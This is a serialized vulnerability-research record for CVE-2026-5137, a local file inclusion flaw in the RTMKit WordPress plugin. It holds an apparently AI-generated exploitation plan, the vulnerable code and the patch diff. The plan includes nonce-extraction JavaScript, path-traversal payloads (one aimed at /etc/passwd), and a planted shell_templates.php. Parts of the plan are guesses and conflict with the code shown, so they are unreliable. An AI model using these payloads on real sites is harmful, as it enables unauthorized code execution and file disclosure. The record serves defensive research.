[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fQOvvZjAePY584Z8f_L93nvBUYVXq86xtNQGRHMNRiW8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-5137","rtmkit-authenticated-contributor-limited-local-file-inclusion-via-template-parameter","RTMKit \u003C= 2.0.7 - Authenticated (Contributor+) Limited Local File Inclusion via 'template' Parameter","The RTMKit (rometheme-for-elementor) plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 2.0.7 This is due to insufficient path validation on the 'template' parameter in the render_templates AJAX endpoint, which is used directly in a require\u002Finclude statement without sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute files on the server ending in _templates.php, allowing the execution of any PHP code in those files.","rometheme-for-elementor",null,"\u003C=2.0.7","2.0.8","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Improper Control of Filename for Include\u002FRequire Statement in PHP Program ('PHP Remote File Inclusion')","2026-07-02 21:01:30","2026-07-06 16:32:55",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F22172d16-bcde-4516-bce0-222fbb7a76f7?source=api-prod",4,[22,23,24,25,26,27,28,29],"Inc\u002FCore\u002FPlugin.php","Inc\u002FCore\u002FPluginApi.php","Inc\u002FElements\u002FAccordion.php","Inc\u002FElements\u002FAdvancedHeading.php","Inc\u002FElements\u002FAnimatedHeading.php","Inc\u002FElements\u002FBackToTop.php","Inc\u002FElements\u002FBarChart.php","Inc\u002FElements\u002FBlockquote.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-5137\n\n## 1. Vulnerability Summary\nThe **RTMKit (rometheme-for-elementor)** plugin for WordPress is vulnerable to **Limited Local File Inclusion (LFI)** in versions up to 2.0.7. The vulnerability exists within the `render_templates` AJAX endpoint (likely located within the `Themebuilder` or `Templatekits` modules). \n\nDue to a lack of path sanitization on the `template` POST parameter, an authenticated attacker with **Contributor** level permissions or higher can manipulate the path passed to a PHP `include` or `require` statement. The inclusion is \"limited\" because the application likely enforces or appends a `_templates.php` suffix to the filename, restricting the attacker to including files that match this naming pattern.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n- **Action:** `render_templates` (inferred from CVE description)\n- **Vulnerable Parameter:** `template`\n- **Authentication:** Authenticated (Contributor+)\n- **Preconditions:** \n    - The attacker must have a valid `rtmkit_nonce`.\n    - The attacker must identify or upload a file ending in `_templates.php` to achieve code execution, or traverse to existing files with that suffix.\n\n## 3. Code Flow (Inferred)\nThe execution flow typically follows this pattern in RTMKit modules:\n1. **Entry Point:** The `render_templates` action is registered via `add_action('wp_ajax_render_templates', ...)` in one of the module initialization classes (e.g., `Inc\u002FModules\u002FThemebuilder\u002FThemebuilderModule.php`).\n2. **Nonce Verification:** The handler calls `check_ajax_referer('rtmkit_nonce', 'nonce')` or `wp_verify_nonce()`.\n3. **Parameter Retrieval:** The `template` parameter is retrieved from `$_POST['template']` without sufficient sanitization (e.g., missing `basename()` or path traversal checks).\n4. **Vulnerable Sink:** The unsanitized path is used in an `include` or `require` statement:\n   ```php\n   \u002F\u002F Likely vulnerable code structure:\n   $template = $_POST['template'];\n   if ( strpos( $template, '_templates.php' ) !== false ) { \u002F\u002F Weak suffix check\n       include $template;\n   }\n   \u002F\u002F OR\n   include $template . '_templates.php'; \u002F\u002F Appended suffix\n   ```\n\n## 4. Nonce Acquisition Strategy\nThe `rtmkit_nonce` is required for AJAX requests as seen in `Inc\u002FCore\u002FPluginApi.php`. This nonce is typically localized for the `rtmkit-system-panel` script.\n\n### Extraction Steps:\n1. **Identify Script Loading:** The script `rtmkit-system-panel` is enqueued in `Inc\u002FCore\u002FPlugin.php` via `admin_enqueue_scripts`.\n2. **Navigate to Admin:** Log in as a Contributor and navigate to the WordPress Dashboard (`\u002Fwp-admin\u002F`).\n3. **Execute Browser Eval:** Use the following JavaScript to find the localized nonce:\n   ```javascript\n   \u002F\u002F Common localization patterns for this plugin:\n   window.rtmkit_ajax?.nonce || window.rtmkit_vars?.nonce || window.rtmkit_system_panel?.nonce\n   ```\n   *Note: Based on the script handle `rtmkit-system-panel`, the object is likely `rtmkit_system_panel`.*\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate the ability to include a file. Since the LFI is limited to `_templates.php`, we will attempt to include a file that exists or create one.\n\n### Step 1: Discover Existing Template Files\nSearch for existing files ending in `_templates.php` within the plugin directory to use as a PoC for file inclusion.\n```bash\nfind \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Frometheme-for-elementor\u002F -name \"*_templates.php\"\n```\n\n### Step 2: The Attack Request\nSend a POST request to `admin-ajax.php`. If the plugin appends the suffix, use a traversal payload. If it checks the suffix, ensure the payload ends with it.\n\n**Payload (Assuming Suffix is Appended):**\n- **Action:** `render_templates`\n- **Nonce:** `[EXTRACTED_NONCE]`\n- **Template:** `..\u002F..\u002F..\u002F..\u002Fwp-config` (This would attempt to load `wp-config_templates.php`, which likely fails).\n\n**Payload (Targeting an existing file):**\nIf a file exists at `wp-content\u002Fplugins\u002Frometheme-for-elementor\u002Fviews\u002Ftest_templates.php`:\n- **Template:** `..\u002Fviews\u002Ftest` (assuming `.php` is also appended)\n- **Template:** `..\u002Fviews\u002Ftest_templates.php` (if the full path is used)\n\n**HTTP Request via `http_request`:**\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\n    \"Cookie\": \"[CONTRIBUTOR_COOKIES]\"\n  },\n  \"body\": \"action=render_templates&nonce=[NONCE]&template=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd%00\" \n}\n```\n*Note: Null byte `%00` only works on PHP \u003C 5.3.4. For modern PHP, we are restricted to `_templates.php` files.*\n\n## 6. Test Data Setup\n1. **User Creation:**\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password\n   ```\n2. **\"Malicious\" Template Creation (For Proof of Concept):**\n   Create a file that mimics an uploaded \"template\" to prove code execution via inclusion.\n   ```bash\n   echo \"\u003C?php echo 'RTMKIT_LFI_SUCCESS'; ?>\" > \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fshell_templates.php\n   ```\n\n## 7. Expected Results\n- **Success:** The HTTP response body contains the content of the included file (e.g., `RTMKIT_LFI_SUCCESS`).\n- **Response Code:** 200 OK.\n- **Error:** If the file is not found or the nonce is invalid, the response will likely be `0`, `-1`, or a JSON error object `{\"success\":false,...}`.\n\n## 8. Verification Steps\nAfter sending the request, verify the execution by checking the response body for the marker `RTMKIT_LFI_SUCCESS`.\nAlternatively, if using the LFI to read a known plugin template:\n```bash\n# Check if a specific plugin view was rendered in the AJAX response\ngrep \"Some Unique String from the Template\" response.html\n```\n\n## 9. Alternative Approaches\nIf `render_templates` is not the correct action name (as it was inferred), check `Inc\u002FCore\u002FPluginApi.php` for the `get_content` function:\n- **Action:** `get_content`\n- **Parameter:** `path`\n- **Mechanism:** Calls `\\RTMKit\\Modules\\Menu::instance()->get_menu_by_path($_POST['path'])`. If the returned array's `render_view` key can be influenced, it leads to `require_once $file`.\n- **Strategy:** Investigate if the `Menu` module allows registering custom paths or if existing paths can have their `render_view` manipulated.","The RTMKit plugin for WordPress is vulnerable to Limited Local File Inclusion due to insufficient validation of the 'path' (or 'template') parameter in AJAX endpoints. Authenticated attackers with Contributor-level access or higher can exploit this to include and execute PHP files on the server, typically restricted to files with specific naming patterns like '_templates.php'.","\u002F* Inc\u002FCore\u002FPluginApi.php lines 65-78 *\u002F\n        $path = sanitize_text_field($_POST['path']);\n        $menus = \\RTMKit\\Modules\\Menu::instance()->get_menu_by_path($_POST['path']);\n\n        if (!isset($_POST['path'])) {\n            wp_send_json_error('Path not specified.');\n            return;\n        }\n\n        if (isset($menus['render_view']) && file_exists($menus['render_view'])) {\n            $file = $menus['render_view'];\n        } else {\n            wp_send_json_error('View file not found for the specified path.');\n            return;\n        }\n        ob_start();\n        require_once $file;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frometheme-for-elementor\u002F2.0.7\u002FInc\u002FCore\u002FPluginApi.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frometheme-for-elementor\u002F2.0.8\u002FInc\u002FCore\u002FPluginApi.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frometheme-for-elementor\u002F2.0.7\u002FInc\u002FCore\u002FPluginApi.php\t2026-04-20 10:59:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frometheme-for-elementor\u002F2.0.8\u002FInc\u002FCore\u002FPluginApi.php\t2026-06-11 05:50:12.000000000 +0000\n@@ -55,14 +57,27 @@\n \n     public function get_content()\n     {\n-        check_ajax_referer('rtmkit_nonce', 'nonce');\n+        $nonce = isset($_POST['nonce'])\n+            ? sanitize_text_field(wp_unslash($_POST['nonce']))\n+            : '';\n+\n+        if (! wp_verify_nonce($nonce, 'rtmkit_nonce')) {\n+            die(__('Security check', 'rometheme-for-elementor'));\n+        }\n+        \n+        \u002F\u002F check_ajax_referer('rtmkit_nonce', 'nonce');\n         if (!current_user_can('manage_options')) {\n             wp_send_json_error('Access Denied.');\n             wp_die();\n         }\n-        $path = sanitize_text_field($_POST['path']);\n-        $menus = \\RTMKit\\Modules\\Menu::instance()->get_menu_by_path($_POST['path']);\n \n+        $path = isset($_POST['path'])\n+            ? sanitize_text_field(wp_unslash($_POST['path']))\n+            : '';\n+        \u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended\n+        $menus = \\RTMKit\\Modules\\Menu::instance()->get_menu_by_path($path);\n+\n+        \u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended\n         if (!isset($_POST['path'])) {","The exploit targets the `get_content` (or `render_templates`) AJAX endpoint. 1. An attacker authenticates as a Contributor. 2. They extract the `rtmkit_nonce` value from the WordPress admin dashboard (localized via the `rtmkit-system-panel` script). 3. They send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the `action=get_content` and a manipulated `path` parameter containing directory traversal sequences (e.g., `..\u002F..\u002Fuploads\u002Fmalicious_templates.php`). 4. If the resolved file path exists and matches the plugin's internal requirements (such as ending in `_templates.php`), the server executes the file using `require_once`, leading to arbitrary code execution.","gemini-3-flash-preview","2026-07-25 09:43:09","2026-07-25 09:44:03",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.0.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frometheme-for-elementor\u002Ftags\u002F2.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frometheme-for-elementor.2.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frometheme-for-elementor\u002Ftags\u002F2.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frometheme-for-elementor.2.0.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frometheme-for-elementor\u002Ftags"]